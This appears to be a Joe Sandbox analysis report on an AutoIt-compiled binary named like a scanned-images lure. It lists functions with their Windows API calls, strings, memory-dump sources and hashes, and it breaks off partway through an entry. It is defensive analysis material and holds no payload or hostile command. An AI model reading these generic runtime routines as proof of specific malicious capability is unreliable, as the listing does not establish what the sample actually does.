SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 004D28A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 004D28B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 004D2900
GetClientRect.USER32(00000000,?), ref: 004D290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 004D2955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004D2964
GetStockObject.GDI32(00000011), ref: 004D2974
SelectObject.GDI32(00000000,00000000), ref: 004D2978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 004D2988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 004D2991
DeleteDC.GDI32(00000000), ref: 004D299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 004D29C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 004D29DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 004D2A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 004D2A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 004D2A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 004D2A77
GetStockObject.GDI32(00000011), ref: 004D2A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 004D2A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 004D2A97

Strings

DISPLAY, xrefs: 004D295A
static, xrefs: 004D294F, 004D2A71
AutoIt v3, xrefs: 004D28F8
msctls_progress32, xrefs: 004D2A13

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 5edfafb65f9fa7523b83d42b1b560dbacac879ba7105203aadc216542b72f1b9
Instruction ID: 93c6cb1e18120059bb436f4b3e25393ffa60588ed9fb48486c1926f03900f92c
Opcode Fuzzy Hash: 5edfafb65f9fa7523b83d42b1b560dbacac879ba7105203aadc216542b72f1b9
Instruction Fuzzy Hash: 2BB19D71A00209AFEB24DF68CC85FAF7BA9EF15715F00451AF914EB291D774AD01CB98

Function 004C4ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 004C4AED
GetDriveTypeW.KERNEL32(?,004ECB68,?,\\.\,004ECC08), ref: 004C4BCA
SetErrorMode.KERNEL32(00000000,004ECB68,?,\\.\,004ECC08), ref: 004C4D36

Strings

Removable, xrefs: 004C4C10, 004C4C15
\\.\, xrefs: 004C4B3F
ATA, xrefs: 004C4C98
USB, xrefs: 004C4CB4
CDROM, xrefs: 004C4BFB
FileBackedVirtual, xrefs: 004C4CEC
ATAPI, xrefs: 004C4C91
1394, xrefs: 004C4C9F
Unknown, xrefs: 004C4BED, 004C4C83
Fibre, xrefs: 004C4CAD
SSA, xrefs: 004C4CA6
SCSI, xrefs: 004C4C8A
iSCSI, xrefs: 004C4CC2
SATA, xrefs: 004C4CD0
Virtual, xrefs: 004C4CE5
Network, xrefs: 004C4C02
Fixed, xrefs: 004C4C09
RAMDisk, xrefs: 004C4BF4
SAS, xrefs: 004C4CC9
SSD, xrefs: 004C4C4A
RAID, xrefs: 004C4CBB
PhysicalDrive, xrefs: 004C4B76
MMC, xrefs: 004C4CDE

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 4245478bffe0c46821fc605f7f1ac3e31547212feb5e1aa8971015609f6963da
Instruction ID: 20240f72474bf192d9cfa42737ef06470f38a669aa6f6a3bb3bf3679c1425043
Opcode Fuzzy Hash: 4245478bffe0c46821fc605f7f1ac3e31547212feb5e1aa8971015609f6963da
Instruction Fuzzy Hash: 5C61E838601105DBEB44DF14CBA1EA97BB0BB84344B21441FF8079B662DB3DED82DB5A

Function 004E73E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 004E7421
SetTextColor.GDI32(?,?), ref: 004E7425
GetSysColorBrush.USER32(0000000F), ref: 004E743B
GetSysColor.USER32(0000000F), ref: 004E7446
CreateSolidBrush.GDI32(?), ref: 004E744B
GetSysColor.USER32(00000011), ref: 004E7463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 004E7471
SelectObject.GDI32(?,00000000), ref: 004E7482
SetBkColor.GDI32(?,00000000), ref: 004E748B
SelectObject.GDI32(?,?), ref: 004E7498
InflateRect.USER32(?,000000FF,000000FF), ref: 004E74B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 004E74CE
GetWindowLongW.USER32(00000000,000000F0), ref: 004E74DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 004E752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 004E7554
InflateRect.USER32(?,000000FD,000000FD), ref: 004E7572
DrawFocusRect.USER32(?,?), ref: 004E757D
GetSysColor.USER32(00000011), ref: 004E758E
SetTextColor.GDI32(?,00000000), ref: 004E7596
DrawTextW.USER32(?,004E70F5,000000FF,?,00000000), ref: 004E75A8
SelectObject.GDI32(?,?), ref: 004E75BF
DeleteObject.GDI32(?), ref: 004E75CA
SelectObject.GDI32(?,?), ref: 004E75D0
DeleteObject.GDI32(?), ref: 004E75D5
SetTextColor.GDI32(?,?), ref: 004E75DB
SetBkColor.GDI32(?,?), ref: 004E75E5

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: bbd25ae785ad1f0387fa87963798900acdc75bb721bed48ef5b08059ece1b4ea
Instruction ID: 92f9aec080cd3a04f1d898f21ad5351977345985f6e1a6b3db10c8c3ec378f5a
Opcode Fuzzy Hash: bbd25ae785ad1f0387fa87963798900acdc75bb721bed48ef5b08059ece1b4ea
Instruction Fuzzy Hash: 2B618172900258BFDF009FA4DC88EAEBFB9EB08321F104125F911AB2A2D7749941DF94

Function 004E0FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 004E1128
GetDesktopWindow.USER32 ref: 004E113D
GetWindowRect.USER32(00000000), ref: 004E1144
GetWindowLongW.USER32(?,000000F0), ref: 004E1199
DestroyWindow.USER32(?), ref: 004E11B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 004E11ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 004E120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 004E121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 004E1232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 004E1245
IsWindowVisible.USER32(00000000), ref: 004E12A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 004E12BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 004E12D0
GetWindowRect.USER32(00000000,?), ref: 004E12E8
MonitorFromPoint.USER32(?,?,00000002), ref: 004E130E
GetMonitorInfoW.USER32(00000000,?), ref: 004E1328
CopyRect.USER32(?,?), ref: 004E133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 004E13AA

Strings

tooltips_class32, xrefs: 004E11E6
(, xrefs: 004E131B
0, xrefs: 004E10D3

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: aca0f1eb3de59b2be138f15f8fc19ff66900fcf5b91338568cd873d4fce5ae61
Instruction ID: 09db6ec24870b08ecd865bc4cb48a961a9ab13884b1c9c5b963d0135c71da372
Opcode Fuzzy Hash: aca0f1eb3de59b2be138f15f8fc19ff66900fcf5b91338568cd873d4fce5ae61
Instruction Fuzzy Hash: 61B1AE71604380AFD704DF65C884B6BBBE4FF88345F00891EF9999B262C735E845CB99

Function 00468891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00468968
GetSystemMetrics.USER32(00000007), ref: 00468970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0046899B
GetSystemMetrics.USER32(00000008), ref: 004689A3
GetSystemMetrics.USER32(00000004), ref: 004689C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 004689E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 004689F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00468A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00468A3C
GetClientRect.USER32(00000000,000000FF), ref: 00468A5A
GetStockObject.GDI32(00000011), ref: 00468A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 00468A81

Part of subcall function 0046912D: GetCursorPos.USER32(?), ref: 00469141
Part of subcall function 0046912D: ScreenToClient.USER32(00000000,?), ref: 0046915E
Part of subcall function 0046912D: GetAsyncKeyState.USER32(00000001), ref: 00469183
Part of subcall function 0046912D: GetAsyncKeyState.USER32(00000002), ref: 0046919D

SetTimer.USER32(00000000,00000000,00000028,004690FC), ref: 00468AA8

Strings

AutoIt v3 GUI, xrefs: 00468A20

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: e34382107de2505be2b1d568162ef9ac4132fd5f94c35077fdf387833227309b
Instruction ID: fc3c5df6880a0934e29b1fef709d47c0285d3e5ffafc851c7fd54429fcbb4e7d
Opcode Fuzzy Hash: e34382107de2505be2b1d568162ef9ac4132fd5f94c35077fdf387833227309b
Instruction Fuzzy Hash: 67B1B2756002099FDF14DF68CC85BAE3BB4FB19314F15422AFA15AB290DB38E841CF59

Function 004B0D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004B10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 004B1114
Part of subcall function 004B10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,004B0B9B,?,?,?), ref: 004B1120
Part of subcall function 004B10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,004B0B9B,?,?,?), ref: 004B112F
Part of subcall function 004B10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,004B0B9B,?,?,?), ref: 004B1136
Part of subcall function 004B10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 004B114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 004B0DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 004B0E29
GetLengthSid.ADVAPI32(?), ref: 004B0E40
GetAce.ADVAPI32(?,00000000,?), ref: 004B0E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 004B0E96
GetLengthSid.ADVAPI32(?), ref: 004B0EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 004B0EB5
HeapAlloc.KERNEL32(00000000), ref: 004B0EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 004B0EDD
CopySid.ADVAPI32(00000000), ref: 004B0EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 004B0F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 004B0F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 004B0F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004B0F6E
HeapFree.KERNEL32(00000000), ref: 004B0F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004B0F7E
HeapFree.KERNEL32(00000000), ref: 004B0F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004B0F8E
HeapFree.KERNEL32(00000000), ref: 004B0F95
GetProcessHeap.KERNEL32(00000000,?), ref: 004B0FA1
HeapFree.KERNEL32(00000000), ref: 004B0FA8

Part of subcall function 004B1193: GetProcessHeap.KERNEL32(00000008,004B0BB1,?,00000000,?,004B0BB1,?), ref: 004B11A1
Part of subcall function 004B1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,004B0BB1,?), ref: 004B11A8
Part of subcall function 004B1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,004B0BB1,?), ref: 004B11B7

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 2d66e37cdfb635ea961e9c435bc4d3bcef603d81c77d067e9f9d8aebc786b98c
Instruction ID: 8ba414245dd2b16831f66d64e83f5c4af29b02497049293af18d56e69e34ee89
Opcode Fuzzy Hash: 2d66e37cdfb635ea961e9c435bc4d3bcef603d81c77d067e9f9d8aebc786b98c
Instruction Fuzzy Hash: D5715F71A0020AABDF209FA5DC84FEFBBB8BF05301F048166F919A6251D775D906CB74

Function 004DC3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 004DC4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,004ECC08,00000000,?,00000000,?,?), ref: 004DC544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 004DC5A4
_wcslen.LIBCMT ref: 004DC5F4
_wcslen.LIBCMT ref: 004DC66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 004DC6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 004DC7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 004DC84D
RegCloseKey.ADVAPI32(?), ref: 004DC881
RegCloseKey.ADVAPI32(00000000), ref: 004DC88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 004DC960

Strings

REG_BINARY, xrefs: 004DC913
REG_QWORD, xrefs: 004DC8C3
REG_SZ, xrefs: 004DC644
REG_DWORD, xrefs: 004DC804
REG_EXPAND_SZ, xrefs: 004DC5CD
REG_MULTI_SZ, xrefs: 004DC6F5

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: 03a21490ab401710982738f170fa01f36df8098050593860e5d3fb5ed40cc00b
Instruction ID: b97e055b7a89a56421f77b07db746c15d9ff32175df4c8c0014d460a52bf8bf6
Opcode Fuzzy Hash: 03a21490ab401710982738f170fa01f36df8098050593860e5d3fb5ed40cc00b
Instruction Fuzzy Hash: 73128E356042019FD714DF15C891E2AB7E5FF88359F04885EF88A9B3A2DB39EC45CB89

Function 004E091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 004E09C6
_wcslen.LIBCMT ref: 004E0A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 004E0A54
_wcslen.LIBCMT ref: 004E0A8A
_wcslen.LIBCMT ref: 004E0B06
_wcslen.LIBCMT ref: 004E0B81

Part of subcall function 0046F9F2: _wcslen.LIBCMT ref: 0046F9FD

Part of subcall function 004B2BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 004B2BFA

Strings

GETTOTALCOUNT, xrefs: 004E09F2, 004E0A17
GETITEMCOUNT, xrefs: 004E0C1E
CHECK, xrefs: 004E0A85, 004E0AA0
COLLAPSE, xrefs: 004E0B01, 004E0B1C
GETTEXT, xrefs: 004E0C97
UNCHECK, xrefs: 004E0D3E
EXPAND, xrefs: 004E0BF8
EXISTS, xrefs: 004E0B7C, 004E0B97
SELECT, xrefs: 004E0D11
ISCHECKED, xrefs: 004E0CE1
GETSELECTED, xrefs: 004E0C4E

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: 87337f932baef59fe58216db3fe9cd7b126ddce1678c4231560576fa867639a2
Instruction ID: 60e79b737690c058669bf408fac3d4aa1d3f2553d416aea9cbf5c17bbf3af866
Opcode Fuzzy Hash: 87337f932baef59fe58216db3fe9cd7b126ddce1678c4231560576fa867639a2
Instruction Fuzzy Hash: F8E1D2312083419FC714DF26C45086AB7E1FF98309F14495EF8A55B362D778ED8ACB8A

Function 004DC998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,004DB6AE,?,?), ref: 004DC9B5
_wcslen.LIBCMT ref: 004DC9F1
_wcslen.LIBCMT ref: 004DCA68
_wcslen.LIBCMT ref: 004DCA9E
_wcslen.LIBCMT ref: 004DCAF9
_wcslen.LIBCMT ref: 004DCB2F
_wcslen.LIBCMT ref: 004DCB7F

Strings

HKU, xrefs: 004DCBF0
HKEY_USERS, xrefs: 004DCBDF
HKCC, xrefs: 004DCBAC
HKEY_CLASSES_ROOT, xrefs: 004DCAF3, 004DCAF8
HKCU, xrefs: 004DCBCE
HKEY_LOCAL_MACHINE, xrefs: 004DCA62, 004DCA67
HKLM, xrefs: 004DCA98, 004DCA9D
HKEY_CURRENT_CONFIG, xrefs: 004DCB79, 004DCB7E
HKCR, xrefs: 004DCB29, 004DCB2E
HKEY_CURRENT_USER, xrefs: 004DCBBD

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: 7d2083a642a3bbfb1515e7c1ad00e30d714ba10086c8ba671f160165887a1144
Instruction ID: bcbbe46d62b6105ab965a9600923c6899b0c98ea0adf23e39d666f7447be0641
Opcode Fuzzy Hash: 7d2083a642a3bbfb1515e7c1ad00e30d714ba10086c8ba671f160165887a1144
Instruction Fuzzy Hash: 4871147261012B8BCB20DE7CD9E16FB33A1ABA4754F10052BF8569B385E63CDD85C399

Function 004E833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004E835A
_wcslen.LIBCMT ref: 004E836E
_wcslen.LIBCMT ref: 004E8391
_wcslen.LIBCMT ref: 004E83B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 004E83F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,004E361A,?), ref: 004E844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 004E8487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 004E84CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 004E8501
FreeLibrary.KERNEL32(?), ref: 004E850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 004E851D
DestroyIcon.USER32(?), ref: 004E852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 004E8549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 004E8555

Strings

.dll, xrefs: 004E83AB
.icl, xrefs: 004E8368
.exe, xrefs: 004E8388

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: 8a2f32308eba5e736ffd8a3ba658871f5925d23356e43205e04eeff1f40bd4e7
Instruction ID: f089b4b677da8af0987df43307fb2e78d9647dc1702cc81d80c32e61c44a1e84
Opcode Fuzzy Hash: 8a2f32308eba5e736ffd8a3ba658871f5925d23356e43205e04eeff1f40bd4e7
Instruction Fuzzy Hash: 1E61D071500255BAEF148F65CC81BFF77A8FB04712F10461AF819DA1D1EB789981C7A4

Function 00457778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#ce, xrefs: 004578ED
Cannot parse #include, xrefs: 00495279
#include-once, xrefs: 0045782F
Unterminated group of comments, xrefs: 0049528C
Bad directive syntax error, xrefs: 0049519A
', xrefs: 00495169
#include, xrefs: 00457847
#cs, xrefs: 00457873, 004578C5
#requireadmin, xrefs: 004577FF
#comments-start, xrefs: 0045785F, 004578B1
#comments-end, xrefs: 004578D9
#pragma compile, xrefs: 004577D3
#notrayicon, xrefs: 004577E7
#OnAutoItStartRegister, xrefs: 00457817
", xrefs: 00495153

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
